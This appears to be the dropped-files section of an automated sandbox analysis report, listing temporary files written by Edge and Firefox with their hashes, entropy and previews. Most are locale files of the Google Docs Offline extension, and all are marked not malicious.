Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\e3035b77-1104-4a78-909d-6dd30da69436.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\ed73a461-ebae-44ad-b469-c0d6bae92098.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
